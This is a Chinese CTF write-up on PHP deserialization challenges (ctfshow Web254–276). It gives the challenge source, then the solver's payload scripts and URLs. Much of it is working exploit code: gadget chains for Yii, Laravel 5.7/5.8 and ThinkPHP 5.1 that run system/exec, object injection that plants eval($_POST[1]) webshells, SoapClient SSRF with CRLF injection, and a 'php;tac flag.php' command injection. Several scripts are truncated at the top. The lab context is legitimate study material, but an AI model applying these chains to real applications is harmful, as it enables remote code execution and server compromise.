知识点参考:
一篇文章带你深入理解漏洞之 PHP 反序列化漏洞
POC参考:
https://blog.csdn.net/miuzzx/article/details/110558192
https://tari.moe/2021/04/06/ctfshow-unserialize/
Web254
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
这一题主要就是了解php类以及方法的调用流程,payload如下:
/?username=xxxxxx&password=xxxxxx
Web255
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
根据cookie值反序列化出一个类。我们发现login后并不会更改$isVip
的值,所以需要反序列化,这样才可以通过chenkVip的判断。就是说我们需要让反序列后的结果是ctfShowUser的实例化对象。又因为只有$this->isVip是true才能是flag,所以反序列化的内容可以通过如下脚本生成:
isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
echo urlencode(serialize(new ctfShowUser()));
?>
记得需要urlencode以下,防止编码出错。将所得的结果设为cookie的值,键为user
,然后为了通过login的检测,还需要用get方法提交:
/?username=xxxxxx&password=xxxxxx
即可。
Web256
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
先是反序列化一个实例,然后进行login判断,但是login判断并没有使得$isVip=true
,所以这一步需要反序列化完成,接着是vipOneKeyGetFlag判断,要求username!==password
,这一步也需要反序列化完成。总而言之,就是保证get传入的的username和序列化的一样并且和序列化的password不一样,脚本如下:
isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
echo urlencode(serialize(new ctfShowUser()));
?>
然后用脚本跑出来的值设置cookie,再设置get访问参数如下即可:
/?username=1&password=2
Web257
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
很明显,要想办法调用到backDoor类的getInfo()方法去执行eval()函数,所以把ctfShowUser类的构造方法中内容改为$this->class=new backDoor();
,这样在销毁对象的时候就会调用backDoor对象的getInfo()方法,进而执行eval()函数,同时需要修改$code
为木马即可。脚本如下:
class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}
echo urlencode(serialize(new ctfShowUser()));
?>
剩下的操作与之前一样,不过get传参中的username和password随便填就行,因为eval()语句是在销毁对象中有效。可以看一下脚本生成的序列化的内容:
O:11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";
s:21:"ctfShowUserpassword";s:6:"xxxxxx";
s:18:"ctfShowUserisVip";b:0;
s:18:"ctfShowUserclass";O:8:"backDoor":1:
{s:14:"backDoorcode";s:16:"eval($_POST[1]);";}}
看来能控制得只有属性,但是仍然可以通过过修改构造方法,进而在脚本中的序列化操作中修改受影响得属性。也即是脚本中的serialize()方法会在序列化得过程中调用构造方法?但是unserialize()时是不会调用的。
Web258
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
在上一题的基础上添加了过滤,上一题的最后我们看到了序列化之后的内容,可以发现O:11
以及O:8
会被正则匹配到,所以在11
和8
前面添上+
号达到绕过的效果,最后再urlencode即可,脚本如下:
class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code='eval($_POST[1]);';
public function getInfo(){
eval($this->code);
}
}
$a=serialize(new ctfShowUser());
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);
echo urlencode($c);
?>
最后的操作仍然是设置cookie,get传参随意,只要有username和password即可,并且通过post传参1
进行命令执行。
Web259
先给了flag.php的源码:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
这段代码通过x-forwarded-for
头部判断原始ip,要求ip为127.0.0.1,并且要求传入token,如果传入的token正确,就会把flag写到flag.txt中。那么就需要给flag.php发满足上述条件的包即可。不过由于限制了ip的来源(没有贴出来,不过应该类似于):
if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
xxxxxx;
}
所以得使用ssrf,让服务器内部自己去访问,这就需要结合下面的内容了。
看看后端的代码:
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
通过传入的vip进行反序列化,然后调用了getFlag()
方法。但是并没有给我们提供类,所以这个题利用的是php原生类SoapClient。当访问一个类不存在的方法时,php会默认调用该类的__call
魔术方法,会调用SoapClient类的构造方法,进而达到发包的目的。
可参考:https://dar1in9s.github.io/2020/04/02/php%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8/
所以,我们只需要构造满足条件的SoapClient类,序列化后传入vip参数即可。这里面还涉及了CRLF的利用,用于在user-agent头部进行注入,所以最终的脚本如下:
'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>
Web260
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
字符串序列化后就是其本身,所以payload如下:
/?ctfshow=ctfshow_i_love_36D
Web261
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
全是魔术方法。在php7.4以上:如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
serialize()函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。不过我们是在本地进行序列化的,所以没有影响。
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。这个对这道题没有影响。
魔术方法参考:https://www.php.net/manual/zh/language.oop5.magic.php
所以我们的脚本如下:
username='877.php';
$this->password='';
}
}
echo urlencode(serialize(new ctfshowvip));
?>
或者:
username=$u;
$this->password=$p;
}
}
$a=new ctfshowvip('877.php','');
echo serialize($a);
以为是弱比较,所以877.php=0x36d
,都是877,所以就在877.php中写入了木马了。访问877.php即可进行命令执行。
Web262
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
这道题会根据传入的参数生成message对象,并经过序列化、替换和base64编码后作为cookie返回。然后看向message.php:
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
会根据cookie值进行反向操作,判断token=='admin'
与否。所以我们就要想办法控制$token
(其实可以直接控制,见这道题的最后非预期解),而构造方法是并没有对$token
的值进行处理,所以重点在于字符串替换里面,两个字符串的长度不一样。
from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck','loveU',$msg);
}
$msg1=new message('fuck','b','c');
$msg1_ser=serialize($msg1);
echo $msg1_ser;
#O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
$msg2=filter($msg1_ser);
echo $msg2;
#O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
?>
可以看出序列化之后再替换会造成字符的逃逸,loveU
有五个字符,但是前面的数字为4
。在这个例子中,每一次替换可以逃逸一个字符,那么就可以想办法注入我们需要的内容:
$msg1=new message('fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
可以看到,我们在$from
字段注入了一个序列化的后头的内容,包括了$token='admin'
,但是字符串替换后只会造成最后一位字符逃逸(fuck
变为loveU
把注入的最后一位挤出去了)。而注入的内容长度为62字符:
";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}
所以需要重复62次fuck
即可达到逃逸的效果。这样序列化并替换后的结果如下:
O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
310
正好覆盖了所有的loveU
,从而使得后面注入的内容逃逸了。
本地反序列化一下,的确把$token
写为admin
了。
所以最终的脚本如下:
from = $f;
$this->msg = $m;
$this->to = $t;
}
}
function filter($msg){
return str_replace('fuck','loveU',$msg);
}
$msg1=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
$msg1_ser=serialize($msg1);
$msg2=filter($msg1_ser);
echo base64_encode($msg2);
?>
当然也可以直接传参:
/?f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
还有一个非预期解,因为$token
字段是可控的,所以直接上脚本:
from = $f;
$this->msg = $m;
$this->to = $t;
}
}
echo base64_encode(serialize(new message('a','b','c')));
?>
Web263
这一题是关于PHP Session反序列化漏洞。
参考:https://www.jb51.net/article/116246.htm
先访问/www.zip
下载源代码,然后打开源码有几个重要文件:
index.php中,可以看到$_SESSION['limti']>5
中有拼写错误,始终为假,所以必定会执行$_SESSION['limit']=base64_decode($_COOKIE['limit']);
,那么我们可以通过控制cookie进而控制session:
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
check.php中包含了inc.php,在其中设置了session序列化引擎为php引擎,这样设置说明原本的默认引擎应该是php_serialize引擎,也就是在index.php中写入$_SESSION['limit']
的就是php_serialize引擎:
ini_set('session.serialize_handler', 'php');
session_start();
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
那么在此基础上可以可以利用session反序列化漏洞构造出一个User类,在其中的__destruct()
方法中可以写一个shell文件。
那么我们的脚本如下(加了一个phpinfo();
好像是因为编码问题对后面的符号有影响):
username='b.php';
$a->password='';
echo base64_encode('|'.serialize($a));
?>
操作如下:cookie就设置为上述脚本跑出来的值,并访问index.php,这样session文件中就写入了我们需要的内容,这个内容在访问check.php时,因为包含了inc.php,inc.php中又改变了session引擎,进而反序列化出一个User类的实例,而这个实例在销毁的时候调用了--destruct()
方法,进而达成了写shell的目的。
Web264
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
还有一个message.php如下:
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
参考Web262,我们注入的地方可以是传入的参数t
处,注入的内容就是:
";s:5:"token";s:5:"admin";}
共27个字符,所以需要重复27遍fuck
,所以最终的payload如下:
/?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
以此访问index.php,然后再访问message.php反序列化,记得带上名为msg的cookie,值随意即可。
Web265
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
考察的是php的按地址传参,也就类似于C语言里面的指针,脚本如下:
token=$t;
$this->password = &$this->token;
}
public function login(){
return $this->token===$this->password;
}
}
$admin=new ctfshowAdmin('123','123');
echo serialize($admin);
?>
只要$this->password
与$this->token
指向同一块地址空间,那么无论后者的值怎么变,两者都相等。
Web266
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
会对序列化的内容做过滤,不能包含ctfshow
。但是,PHP有一个特性:函数名和类名不区分大小写,变量名区分。所以可以改为Ctfshow
即可。脚本如下:
注意:
file_get_contents('php://input');
,获取请求原始数据流。
Web267
这是Yii框架的一个反序列化漏洞。
先是弱密码登录admin/admin
,然后在源码中看到一个这个提示:
访问
/index.php?r=site%2Fabout&view-source
,爆出了反序列化入口:
那么脚本如下:
checkAccess = 'exec';
$this->id = 'cp /fla* 1.txt';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
最终的url如下:
http://cc12175e-83dc-4457-b0d6-b63c4e891fe0.challenge.ctf.show:8080/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NDoiZXhlYyI7czoyOiJpZCI7czoxNDoiY3AgL2ZsYSogMS50eHQiO31pOjE7czozOiJydW4iO319fX0=
复现可以参考:
https://mp.weixin.qq.com/s?__biz=MzU5MDI0ODI5MQ==&mid=2247485129&idx=1&sn=b27e3fe845daee2fb13bb9f36f53ab40
Web268
仍然是Yii框架,不过打了补丁,方法和上一题一样,不过payload脚本变了:
checkAccess = 'exec';
$this->id = 'cp /fla* 1.txt';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc1
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
Web269
仍然是Yii框架,不过打了补丁,方法和上一题一样,不过payload脚本变了:
checkAccess = 'exec';
$this->id = 'cp /fla* 1.txt';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
// 有就行
"suiyi"=>array("suiyi"=>"suiyi")
);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
Web270
仍然是Yii框架,不过打了补丁,方法和上一题一样,不过payload脚本变了:
checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('exec', 'cp /fla* 1.txt');
echo(base64_encode(serialize($exp)));
}
Web271
Laravel 5.7 框架的反序列化漏洞:
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
参考:
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
POC如下:
test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /flag'));
echo urlencode(serialize($pendingcommand));
}
?>
Web272
Laravel 5.8 框架的反序列化漏洞。
参考:
https://xz.aliyun.com/t/5911
https://www.anquanke.com/post/id/189718
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
POC如下:
config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,"");
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
?>
Web273
PHP/7.1.32框架审计Laravel 5.8反序列化漏洞,POC同上,只是php版本变化了,没啥影响。
Web274
thinkphp 5.1反序列化漏洞。
参考:https://xz.aliyun.com/t/6619
POC如下:
append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
传入参数如下:
/?lin= cat%20/fl*&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19
Web275
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
利用的地方在filter类的析构方法中,会对传入的fn
参数进行命令的拼接,而其之前有一个判断,要求$this->evilfile=true
,那么就需要在filter类的checkevil()方法中有一条正则匹配成功,比如说第一条匹配成功。由此,payload如下:
/?fn=php;tac flag.php
或者也可以第二条匹配成功,也就是$content
中又flag,而$content
来源于$content = file_get_contents('php://input');
:
Web276
参考:
https://v0w.top/2020/03/12/phar-unsearise/#%E5%89%8D%E8%A8%80
https://paper.seebug.org/680/
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
filter类里面多了个$admin
